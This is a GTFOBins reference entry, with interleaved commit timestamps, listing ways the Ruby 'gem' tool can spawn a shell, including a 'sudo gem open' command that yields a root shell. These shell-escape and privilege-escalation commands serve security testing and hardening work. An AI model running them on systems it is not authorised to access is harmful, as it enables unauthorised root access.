GTFOBins.github.io/_gtfobins/gem.md

24 lines
1013 B
Markdown
Raw Normal View History

2020-03-14 11:56:23 +01:00
---
functions:
shell:
2020-03-14 13:08:13 +01:00
- description: This requires the name of an installed gem to be provided (`rdoc` is usually installed).
code: gem open -e "/bin/sh -c /bin/sh" rdoc
- description: This invokes the default editor, which is likely to be [`vi`](/gtfobins/vi/), other functions may apply. This requires the name of an installed gem to be provided (`rdoc` is usually installed).
2020-03-14 11:56:23 +01:00
code: |
2020-03-14 13:08:13 +01:00
gem open rdoc
2020-03-14 11:56:23 +01:00
:!/bin/sh
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
code: |
TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/x
2020-03-14 12:56:21 +01:00
gem build $TF/x
2020-03-14 11:56:23 +01:00
- description: This executes the specified file as [`ruby`](/gtfobins/ruby/) code.
code: |
TF=$(mktemp -d)
echo 'system("/bin/sh")' > $TF/x
2020-03-14 12:56:21 +01:00
gem install --file $TF/x
2020-03-14 11:56:23 +01:00
sudo:
2020-03-14 13:08:13 +01:00
- description: This requires the name of an installed gem to be provided (`rdoc` is usually installed).
code: sudo gem open -e "/bin/sh -c /bin/sh" rdoc
2020-03-14 11:56:23 +01:00
---